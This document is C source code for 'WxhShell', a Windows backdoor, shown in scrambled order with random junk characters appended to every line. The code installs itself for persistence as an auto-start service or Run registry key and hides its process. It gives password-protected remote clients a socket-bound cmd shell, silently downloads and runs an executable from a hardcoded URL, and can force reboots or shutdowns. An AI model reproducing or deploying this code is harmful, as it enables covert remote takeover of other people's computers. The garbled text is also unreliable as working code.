    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); *[/Xhx"  
    if(Boot(SHUTDOWN)) Vy"^]5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +o70: UF%  
    else { !suiqP1\*  
    closesocket(wsh); iKTU28x  
    ExitThread(0); )C0X]?   
    } @z?.P;f9#  
    break; :s985sEv  
    } 5|={1Lp24g  
  // 获取shell (ZR"O8  
  case 's': { I }I/dh  
    CmdShell(wsh); yX Q;LQ;  
    closesocket(wsh); u5|e9(J  
    ExitThread(0); u5B/Em7,0  
    break; w)>z3L m  
  } PSw+E';  
  // 退出 QnAf A%  
  case 'x': { QX3![;0F  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); gQt@xNO  
    CloseIt(wsh); 5"]2@@b4  
    break; ="e um7  
    } LjAIB(*  
  // 离开 IYC#H}  
  case 'q': { 8"rX;5 vP  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); (:muxby%  
    closesocket(wsh); 51'SA B09  
    WSACleanup(); -k{R<L  
    exit(1); &Rt]K  
    break; a<36`#N  
        } ==r|]~x  
  } (6^k;j  
  } 6-YR'ikU  
~n 9DG>a  
  // 提示信息 ^*W<$A_  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;MI<J>s  
} UL"3skV   
  } 1"6k5wrIA  
@z q{#7%z  
  return; *G=AhH$t  
} rl7Y=*Dv  
X*q C:]e  
// shell模块句柄 3?(p;  
int CmdShell(SOCKET sock) 9Q1GV>j>B  
{ M.Ik%nN#K0  
STARTUPINFO si; 7rg[5hP T  
ZeroMemory(&si,sizeof(si)); P9^h>sV  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; sn#h=,*4`  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; JwczE9~o  
PROCESS_INFORMATION ProcessInfo; #OTsD+2Za=  
char cmdline[]="cmd"; r8.v0b"1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); xU"qB24]=  
  return 0; AUV$ S2  
} N|LVLsK  
YR.'JF`C  
// 自身启动模式 !m2k0|9  
int StartFromService(void) 'b,D;'v  
{ !Esiq<Yh  
typedef struct h`j gF  
{ C%>7mz-v5  
  DWORD ExitStatus; 6iWuBsal  
  DWORD PebBaseAddress; uSjMqfK  
  DWORD AffinityMask; 20)Il:x  
  DWORD BasePriority; 9@B+$~:}7  
  ULONG UniqueProcessId; K gX)fj  
  ULONG InheritedFromUniqueProcessId; Us5 JnP5  
}   PROCESS_BASIC_INFORMATION; K_}a cU  
<|iU+.j\  
PROCNTQSIP NtQueryInformationProcess; Mw. +0R!T  
_C\b,D}p  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; W~FA9Jd'Z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; m+"%Jd{q  
ja2]VbB  
  HANDLE             hProcess; Y<XDR:]A,  
  PROCESS_BASIC_INFORMATION pbi; U\{Z{F%8  
KK?~i[aL  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); /<Et   
  if(NULL == hInst ) return 0; ;4IP7$3G  
:u0433z:  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "/"k50%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); %9.KH  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); z-j\S7F  
&Te:l-x  
  if (!NtQueryInformationProcess) return 0; @:I/lg=Qd  
CmZ?uo+Y  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 5;l_-0=  
  if(!hProcess) return 0; RFdN13sJ v  
9[*kpMC  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; d\f 5\Y  
iC]}M  
  CloseHandle(hProcess); Cu]X &l  
eC-TZH@  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); 8] *{ i  
if(hProcess==NULL) return 0; ~6nQ-  
V1G]LM  
HMODULE hMod; ,3j*D+  
char procName[255]; n_<]9  
unsigned long cbNeeded; 4\?B ,!  
oCrn  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); [~3p+  
x1~`Z}LX0  
  CloseHandle(hProcess); aZRgd^4  
'9)@U+yfQ  
if(strstr(procName,"services")) return 1; // 以服务启动 \Mi< ROp5  
){} #v&  
  return 0; // 注册表启动 `@&qf}`  
} [F%\1xh  
*Pl[a1=o  
// 主模块 2gGJ:,RC$  
int StartWxhshell(LPSTR lpCmdLine) uP$K{ )  
{ |F<aw?%  
  SOCKET wsl; sw1XN?O  
BOOL val=TRUE; OL>/FOH:Fx  
  int port=0; <O WPG,  
  struct sockaddr_in door; [D)A+  
!m;VWGl*  
  if(wscfg.ws_autoins) Install(); oOlI*/OMb  
j405G4BVW  
port=atoi(lpCmdLine); -4]6tt'G  
=pNkS1ey  
if(port<=0) port=wscfg.ws_port; CeQcnJU  
E(oNS\ 4  
  WSADATA data; (_T&2%  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V)`? J)  
A9#2.5  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Dt ?Fs  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); =p"0G%+%  
  door.sin_family = AF_INET; S:d` z'  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); >i~c>+R  
  door.sin_port = htons(port); 0KZ 3h|4lP  
Q,$x6YwE  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { }fhVn;~}8  
closesocket(wsl); )_jO8 )jB  
return 1; S8y4 p0mV  
} _RmrjDk  
5HU>o|.  
  if(listen(wsl,2) == INVALID_SOCKET) { j% nd  
closesocket(wsl); 0,c z&8  
return 1; ]?r8^LyZ4  
} )Q8Q#S  
  Wxhshell(wsl); jK{MU) D+  
  WSACleanup(); GgtL./m  
K!9=e7|P  
return 0; 4k#6)e  
*<hpq)  
} UY+~xzm  
~t}:vGDj  
// 以NT服务方式启动 KpE#Ye&  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) Fh "S[e  
{ |Mh;k 6  
DWORD   status = 0; f|`{P P`\  
  DWORD   specificError = 0xfffffff; n33SWE(  
<.<Nw6  
  serviceStatus.dwServiceType     = SERVICE_WIN32; w+}dm^X  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; %:y-"m1\u$  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; zx!1jS  
  serviceStatus.dwWin32ExitCode     = 0; IP >An8+  
  serviceStatus.dwServiceSpecificExitCode = 0; HDaec`j  
  serviceStatus.dwCheckPoint       = 0; LD NpEX~  
  serviceStatus.dwWaitHint       = 0; }$o%^ "[  
=19]a  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); r*g _  
  if (hServiceStatusHandle==0) return; Ne[O9D 7  
}'{(rU  
status = GetLastError(); oqE -q\!H  
  if (status!=NO_ERROR) 8RK\B%UW  
{ ''6"Xi|5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; brFOQU?  
    serviceStatus.dwCheckPoint       = 0; Dn@ n:m  
    serviceStatus.dwWaitHint       = 0; :G-1VtE n  
    serviceStatus.dwWin32ExitCode     = status; FYj3! H  
    serviceStatus.dwServiceSpecificExitCode = specificError; k >MgrtJI  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); g&[g?L  
    return; pQ>V]M  
  } %>bwpN  
6y0C  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; vi2xonq^  
  serviceStatus.dwCheckPoint       = 0; VjnSi  
  serviceStatus.dwWaitHint       = 0; qdm!]w.G5  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); / [19ITZ  
} Vg3&:g5 /  
#4hP_Vhc  
// 处理NT服务事件,比如:启动、停止 ~\^8 ^  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @@$ _TaI  
{ oacY-&  
switch(fdwControl) |N g[^  
{ v ipmzg(S  
case SERVICE_CONTROL_STOP: A~6 Cs  
  serviceStatus.dwWin32ExitCode = 0; UOY1^wY  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; zf!c  
  serviceStatus.dwCheckPoint   = 0; &a:aW;^A7  
  serviceStatus.dwWaitHint     = 0; #Z.JOwi  
  { E|TzrH  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3ty){#:  
  } '=2t(@aC  
  return; u>E+HxUJ  
case SERVICE_CONTROL_PAUSE: ^Nu} HcC+  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; W6PGv1iaW>  
  break; pr?/rXw  
case SERVICE_CONTROL_CONTINUE: l{R)yTO  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; `=*svrmS  
  break; ) ad-s  
case SERVICE_CONTROL_INTERROGATE: k (R4-"@  
  break; 1Y`MJ \9  
}; s6egd%r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); -"<f(  
} G pd:k  
ovohl<o\  
// 标准应用程序主函数 .jKO 6f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }>w; +XU  
{ NplSkv  
BpCSf.zZ  
// 获取操作系统版本 c ~ SI"  
OsIsNt=GetOsVer(); n*1UNQp@]O  
GetModuleFileName(NULL,ExeFile,MAX_PATH); m|k,8guG  
AM[:Og S  
  // 从命令行安装 ]'G7(Y\)f  
  if(strpbrk(lpCmdLine,"iI")) Install(); ?,NAihN]  
_e'mG'P(  
  // 下载执行文件 2S;zze7)  
if(wscfg.ws_downexe) { ke0W?  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ".\(A f2  
  WinExec(wscfg.ws_filenam,SW_HIDE); j;3o9!.s:  
} by<2hLB9Q  
2R!W5gs1<  
if(!OsIsNt) { N9Ml&*%oX{  
// 如果时win9x,隐藏进程并且设置为注册表启动 !S:@x.n@iR  
HideProc(); UXP;'  
StartWxhshell(lpCmdLine); kD>vQ?  
} &<V~s/n=6?  
else mm8O  
  if(StartFromService()) v<wT`hiKW  
  // 以服务方式启动 Go|65Z\`7M  
  StartServiceCtrlDispatcher(DispatchTable); hG^23FiN  
else ~iWSc8-  
  // 普通方式启动 S&*pR3,u  
  StartWxhshell(lpCmdLine); v4$,Vt:7  
hs4r5[  
return 0; <Va>5R_d<  
} .kIf1-(<U  
%vXQ Sz  
rx/6x(3  
2"O Y]d  
=========================================== wLbngO=VG  
ooQ(bF  
U4gwxK  
~}w 8UO  
-+> am?  
_HsvF[\[  
" 5b,98Q  
[78 .%b'  
#include <stdio.h> &UR/Txnu  
#include <string.h> fsd>4t:" \  
#include <windows.h> }b`*%141  
#include <winsock2.h> gwJu&HA/  
#include <winsvc.h> 8H?AL RG  
#include <urlmon.h> -cgukl4Va  
&u-Bu;G.e  
#pragma comment (lib, "Ws2_32.lib") R`q!~8u  
#pragma comment (lib, "urlmon.lib") *q{UipZbx  
7 w,FA  
#define MAX_USER   100 // 最大客户端连接数 lQ"i]};<D  
#define BUF_SOCK   200 // sock buffer yxbTcZ  
#define KEY_BUFF   255 // 输入 buffer 7p6J   
aehMLl9cl  
#define REBOOT     0   // 重启 "Ycd$`{Vgt  
#define SHUTDOWN   1   // 关机 gN~y6c:N  
MVZ>:G9:  
#define DEF_PORT   5000 // 监听端口 n bk(F D6  
"'Uk0>d=_I  
#define REG_LEN     16   // 注册表键长度  HU9y{H  
#define SVC_LEN     80   // NT服务名长度 J B@VP{  
;!?K.,N:N  
// 从dll定义API ,np`:fBMy  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); +_P 2S  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); zi .,?Q  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Xf9%A2 iB  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); @~3c"q;i7  
(14kR  
// wxhshell配置信息 VAGMI+ -  
struct WSCFG { ~-wJ#E3g  
  int ws_port;         // 监听端口 [t{ #@X  
  char ws_passstr[REG_LEN]; // 口令 q}Z T?Xk?  
  int ws_autoins;       // 安装标记, 1=yes 0=no ( y*X8  
  char ws_regname[REG_LEN]; // 注册表键名 +Q31K7Gr  
  char ws_svcname[REG_LEN]; // 服务名 P1stL,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }c ;um  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 yMl'1W  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 QYXx7h r=$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 2-!Mao"^  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" Gc z@ze  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6xh#;+e }  
ID#qKFFW  
}; ?3,tG z)  
2Q|*xd4B^  
// default Wxhshell configuration FNCLGAiZ  
struct WSCFG wscfg={DEF_PORT, x*8f3^ wE  
    "xuhuanlingzhe", %L>nXj  
    1, cjC6\.+l3  
    "Wxhshell", OKP_3Ns  
    "Wxhshell", 8:?Q(M7  
            "WxhShell Service", ."Ix#\|x  
    "Wrsky Windows CmdShell Service", Fi% W\Y'  
    "Please Input Your Password: ", /3 Ix,7  
  1, Ty0T7D   
  "http://www.wrsky.com/wxhshell.exe", p6Dv;@)Yn  
  "Wxhshell.exe" 2$zq (  
    }; 'oZn<c`  
`W$0T;MPF  
// 消息定义模块 .L5*E(<K0  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _JJKbi  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bL],KW;Q  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 8Gl5)=2  
char *msg_ws_ext="\n\rExit."; V /9"Xmv75  
char *msg_ws_end="\n\rQuit."; a05:iFoJ  
char *msg_ws_boot="\n\rReboot..."; w[7.@%^[  
char *msg_ws_poff="\n\rShutdown..."; |;u%JW$4  
char *msg_ws_down="\n\rSave to "; R5&$h$[/  
ElR&scXi__  
char *msg_ws_err="\n\rErr!"; uj9tr`Zh  
char *msg_ws_ok="\n\rOK!"; n vpPmc  
u4,X.3V]A  
char ExeFile[MAX_PATH]; wQ=yY$VP  
int nUser = 0; ciGpluQF  
HANDLE handles[MAX_USER]; '=,rb  
int OsIsNt; QB3d7e)8>  
h3]@M$Y[  
SERVICE_STATUS       serviceStatus; Hl2f`GZ   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; CziaxJ  
fJ&<iD)6  
// 函数声明 k CW!m  
int Install(void); 7hF,gl5  
int Uninstall(void); <m /b]|  
int DownloadFile(char *sURL, SOCKET wsh); yEpN,A  
int Boot(int flag); q"LJwV}W  
void HideProc(void); ;;w6b:}-c  
int GetOsVer(void); xngeV_xc2  
int Wxhshell(SOCKET wsl); [[?[? V ,  
void TalkWithClient(void *cs); q?Ku}eID3  
int CmdShell(SOCKET sock); ,+ \4 '`  
int StartFromService(void); mzV"G>,o  
int StartWxhshell(LPSTR lpCmdLine); FJd8s*  
or%gTVZ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); -_EY$ ?4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 3r-VxP 5n  
J|"nwY}a9  
// 数据结构和表定义 +\k9w.[:/  
SERVICE_TABLE_ENTRY DispatchTable[] = z>mZT.  
{ jV4hxuc$  
{wscfg.ws_svcname, NTServiceMain}, @!":(@3[  
{NULL, NULL} bQXc IIa{  
}; $h,&b<-  
X"TUe>cM  
// 自我安装 ^Cc8F3os=  
int Install(void) A{4G@k+#d  
{ >w2Q 1!  
  char svExeFile[MAX_PATH]; zM_DE  
  HKEY key; K9C@dvFH  
  strcpy(svExeFile,ExeFile); RP~vB#}  
![a/kj  
// 如果是win9x系统,修改注册表设为自启动 Z:UgozdC  
if(!OsIsNt) { qab) 1ft  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { V~J*49t&2J  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); W>}Qer4  
  RegCloseKey(key); P1 7>6)a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 5:*5j@/S  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Z]x  5!  
  RegCloseKey(key); VMxYZkMNd_  
  return 0; MtZt8s  
    } (XbMrPKG  
  } ?JXBWB4  
} UM4 @H1  
else { M>?aa6@0  
&\[Qm{lN  
// 如果是NT以上系统,安装为系统服务 b?Cmc  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); [^?13xMb  
if (schSCManager!=0) LKR==;qn  
{ A$9q!Ui#d  
  SC_HANDLE schService = CreateService T>\nWancQM  
  ( lnC !g  
  schSCManager, pG,<_N@P  
  wscfg.ws_svcname, ~a'nHy1  
  wscfg.ws_svcdisp, UfK4eZx*`  
  SERVICE_ALL_ACCESS, tXf}jU}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Wk/fB0  
  SERVICE_AUTO_START, eZ!yPdgy|  
  SERVICE_ERROR_NORMAL, 2UU 2Vm_6  
  svExeFile, *C4~}4WT\  
  NULL, ojN`#%X  
  NULL, *oEv,I_  
  NULL, ]{K5zSK  
  NULL, ?JuX~{{. L  
  NULL X!U]`Qh  
  ); DgDSVFk ~  
  if (schService!=0) Rz`@N`U  
  { PzIy">plm  
  CloseServiceHandle(schService); kk 8R  
  CloseServiceHandle(schSCManager); f zLANya  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); >lA7*nn  
  strcat(svExeFile,wscfg.ws_svcname); :6 Uk)   
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { tW:W&|q  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); .>k=A|3G  
  RegCloseKey(key); :0nK`$'  
  return 0; OfD@\;L  
    } qzz[y#q(  
  } uAp -$?  
  CloseServiceHandle(schSCManager); &\&'L|0F  
} 'GrRuT<  
} .KFA218h*x  
nA>*IU[  
return 1; HMF8;,<_w?  
} :0B |<~lX  
vz6SCGg,  
// 自我卸载 Lqg] Fd  
int Uninstall(void) USE   
{ nARxn#<+  
  HKEY key; :[ L{KFQU  
F\;2 i:(  
if(!OsIsNt) { !)NYW4"  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z/xV\Ggx  
  RegDeleteValue(key,wscfg.ws_regname); +z+ F-  
  RegCloseKey(key); (gLea  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { sjSi;S4  
  RegDeleteValue(key,wscfg.ws_regname); &8Zeq3~  
  RegCloseKey(key); |drf"lX<{  
  return 0; "Lb f F  
  } 1d`cTaQ-  
} 37#cx)p^f  
} =ntft SH  
else { FU[*8^Z  
7@JjjV  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); Y^4q9?2G  
if (schSCManager!=0)  Kr S  
{ M/*Bh,M`  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); %yeu"  
  if (schService!=0) PVhik@Yoh  
  { >xZ5 ac I  
  if(DeleteService(schService)!=0) { B\f"Iirw  
  CloseServiceHandle(schService); :RHm*vt  
  CloseServiceHandle(schSCManager); X|,["Az 8  
  return 0; 5Wo5 n7o  
  } XWJ SLN(O  
  CloseServiceHandle(schService); ;"D~W#0-v  
  } tp@*=*^I  
  CloseServiceHandle(schSCManager); lHcA j{6  
} VXA[ TIqp  
} 00"CC  
w"1 x=+  
return 1; $_wo6/J5+D  
} UAdz-)$  
axtb<5&  
// 从指定url下载文件 0',[J  
int DownloadFile(char *sURL, SOCKET wsh) D'<$ g  
{ jKS!'?  
  HRESULT hr; 0iF-}o  
char seps[]= "/"; r5[4h'f  
char *token; ;uK";we  
char *file; o OQ'*7_  
char myURL[MAX_PATH]; pziq0  
char myFILE[MAX_PATH]; "w9`cz9a~J  
!W~QT}  
strcpy(myURL,sURL); g &*mozs  
  token=strtok(myURL,seps); g>_OuQ|c  
  while(token!=NULL) f9a$$nb3`  
  { bi.wYp(*6L  
    file=token; !3@{U@*Z]  
  token=strtok(NULL,seps); V3Yd&HVWNQ  
  } d+0^u(gc!8  
,m:L2 -J@  
GetCurrentDirectory(MAX_PATH,myFILE); NZ+7p{&AN  
strcat(myFILE, "\\"); *!w25t  
strcat(myFILE, file); \ADLMj`F|  
  send(wsh,myFILE,strlen(myFILE),0); iy}xICt  
send(wsh,"...",3,0); =DC 3a3&%  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); eIJ[0c b}  
  if(hr==S_OK) YQYX,b  
return 0; z+ ZG1\  
else lov%V*tL  
return 1; y6FKg)  
7E\g &R.  
} O:IQ!mzV5  
\E77SO,$  
// 系统电源模块 V'I T1~  
int Boot(int flag) T pD;  
{ m8+:=0|$  
  HANDLE hToken; IJ_ m  
  TOKEN_PRIVILEGES tkp; $''UlWK  
M*(H)i;s:w  
  if(OsIsNt) { G,|KL" H6  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ~)?|J  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); JD*8@N  
    tkp.PrivilegeCount = 1; #)]E8=}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; u{Ak:0G7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); E30Z`$cz:  
if(flag==REBOOT) { }LQC.!  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) (;ADW+.`J  
  return 0; kC`Rd:5  
} ~b6GrY"vB  
else { (A4&k{C_  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ve fU'  
  return 0; H %z/v|e6  
} \0&SI1Yp  
  } RG1\=J$:E  
  else { " #v%36U  
if(flag==REBOOT) { RG}}Oh="v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 8wmQ4){  
  return 0; U=QA  e  
} (O0byu}  
else { I_>`hTiR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) bo>E"<  
  return 0; 2Wl{Br.  
} 12OlrU  
} (w$'o*z;(  
`0@z"D5c  
return 1; zJC EA  
} fGarUV  
5v|EAjB6o  
// win9x进程隐藏模块 _ZyT3P&  
void HideProc(void) X8R1a?  
{ Hi8Y6|y$D  
fRNP#pi0u  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ArXl=s';s4  
  if ( hKernel != NULL ) S{:Cu}o  
  { /b%Q[ Ck_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); !\x?R6K  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); \fi}Q\|C  
    FreeLibrary(hKernel); d.r Y-k  
  } A[JM4x   
_#pnjo   
return; Pm?B 9S  
} |^Kjz{  
"% Y u wMY  
// 获取操作系统版本 8xTix1u0  
int GetOsVer(void) lT,+bU  
{ S^j,f'2  
  OSVERSIONINFO winfo; 1;&T^Gdj  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); S(t{&+Wc  
  GetVersionEx(&winfo); $ $4W}Ug3U  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) n9] ~  
  return 1; &t3Jv{  
  else QO,+ps<  
  return 0; 4f {+pf^R  
} c<jB6|.=2  
~gddcTp  
// 客户端句柄模块 jBRPR R0  
int Wxhshell(SOCKET wsl) &J(!8y*QyE  
{  Zi4d]  
  SOCKET wsh; 2C1+_IL   
  struct sockaddr_in client; MZ~.(&  
  DWORD myID; 1VLLo~L%  
[hnK/4!  
  while(nUser<MAX_USER) it,w^VU_]  
{ j)L1H* S%  
  int nSize=sizeof(client); Pz`hX$  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 7#pZa.B)k  
  if(wsh==INVALID_SOCKET) return 1; t?3BCm$Mi  
YoAg  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ikHOqJ-,m  
if(handles[nUser]==0) bU+9Gi@v  
  closesocket(wsh); `%y5\!X  
else 3cThu43c  
  nUser++; * nCx[  
  } 'vlrc[|/  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); q"nGy#UWR  
) b:4uK A  
  return 0; 5~l2!PY  
} P(;Mb{  
W ~NYU  
// 关闭 socket O<X )p`,`  
void CloseIt(SOCKET wsh) B.K4!/cF  
{ b:Dg}  
closesocket(wsh); #r}uin*jD  
nUser--; !Uy>eji}  
ExitThread(0); -*3(a E  
} _FsB6 G]mc  
0;cuX@A/a?  
// 客户端请求句柄 }Vl^EAR  
void TalkWithClient(void *cs) [YE?OQ7#  
{ gjZx8oIoP  
r|-J8s#  
  SOCKET wsh=(SOCKET)cs; OjATSmZ@@  
  char pwd[SVC_LEN]; S:GTc QU  
  char cmd[KEY_BUFF]; q+%!<]7X  
char chr[1]; rr )/`Kmv%  
int i,j; veO?k.u(  
OG}KqG!n  
  while (nUser < MAX_USER) { O 6]u!NqG  
E9R]sXf8  
if(wscfg.ws_passstr) { iNLDl~uU  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5!h<b3u>]  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); [gn[nP9  
  //ZeroMemory(pwd,KEY_BUFF); LG6I_[  
      i=0; !Bj^i cR  
  while(i<SVC_LEN) { mu>] 9ZW  
AY;<q$8j%,  
  // 设置超时 xVTo4-[p  
  fd_set FdRead; :D4];d>1  
  struct timeval TimeOut; ;sQ2 0 B'  
  FD_ZERO(&FdRead); .hne)K%={y  
  FD_SET(wsh,&FdRead); Gh iHA9.  
  TimeOut.tv_sec=8; ~'{VaYk]v  
  TimeOut.tv_usec=0; |0]YA  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); D6:DrA:  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); eI?HwP{m  
&Ea"hd  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RNe9h lr  
  pwd=chr[0]; X TM$a9)  
  if(chr[0]==0xd || chr[0]==0xa) { -;ER`Jqs,  
  pwd=0; Y{j7Q4{  
  break; /N%zwj/*  
  } q|Fjm]AF  
  i++; Iu%^*K%  
    } 6kR -rA  
l.uN$B  
  // 如果是非法用户,关闭 socket 5Kee2s?*  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); +K&?)?/=  
} ?-S8yqe  
wBE7Bv45  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 4uPH  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Q-3r}jJe  
iel-<(~   
while(1) { !YY 6o V  
^8Z@^M&O"  
  ZeroMemory(cmd,KEY_BUFF); {=qEBbM  
ot0U-G(  
      // 自动支持客户端 telnet标准   @wMQC\Z  
  j=0; Ej{+U  
  while(j<KEY_BUFF) { G"{4'LlA  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); v` $%G  
  cmd[j]=chr[0]; [0wP\{%  
  if(chr[0]==0xa || chr[0]==0xd) { ^glX1 )  
  cmd[j]=0; *|^,DGfQ6  
  break; CuIqh BW!  
  } gU+ss  
  j++; 9@Q&B+!  
    } PP],HB+*[  
CX]RtV!  
  // 下载文件 @K7ebYr?  
  if(strstr(cmd,"http://")) { 2G ZF/9}  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); vUqe.?5  
  if(DownloadFile(cmd,wsh)) [#IBYJ.6  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); iQu^|,tHEM  
  else X=JFWzC  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); (X*'y*:  
  } Wux0RF&  
  else { J9NsHr:A[  
&ycjSBK  
    switch(cmd[0]) { s%5Uj }  
  WUzS lZq  
  // 帮助 (Z5q&#f  
